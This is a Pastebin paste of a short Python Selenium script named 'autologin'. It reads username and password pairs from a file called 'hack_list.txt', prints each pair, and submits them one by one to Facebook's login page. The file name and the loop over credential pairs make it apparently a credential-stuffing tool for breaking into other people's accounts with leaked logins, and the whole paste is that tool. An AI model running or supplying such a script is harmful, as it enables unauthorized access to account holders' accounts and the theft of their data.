Advertisement
skip420

autologin

Jan 23rd, 2021
1,105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.01 KB | None | 0 0
  1. #Auto_Login_website
  2.  
  3.  
  4.  
  5. from selenium import webdriver
  6. import getpass
  7.  
  8. def loginBOT(usr, pas):
  9.     br = webdriver.Firefox()
  10.     br.get("https://web.facebook.com/")
  11.  
  12.     user = br.find_element_by_name("email")
  13.     user.clear()
  14.     user.send_keys(usr)
  15.  
  16.     passwd = br.find_element_by_name("pass")
  17.     passwd.clear()
  18.     passwd.send_keys(pas)
  19.  
  20.     btn = br.find_element_by_css_selector("#u_0_2")
  21.     btn.click()
  22.  
  23. if __name__ == "__main__":
  24.     with open("hack_list.txt") as f:
  25.         for i, line in enumerate(f):
  26.             line = line.strip()
  27.             print('line {:3d}: {}'.format(i, line))
  28.  
  29.             if len(line) > 0:
  30.                 # this will only run when the line is NOT empty
  31.  
  32.                 data, _ = line.split('#')
  33.                 usr, pwd = data.split(':')
  34.                 usr = usr.strip()
  35.                 pwd = pwd.strip()
  36.  
  37.                 print('line {:3d} usr: {}'.format(i, usr))
  38.                 print('line {:3d} pwd: {}'.format(i, pwd))
  39.  
  40.                 loginBOT(usr, pwd)
  41.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement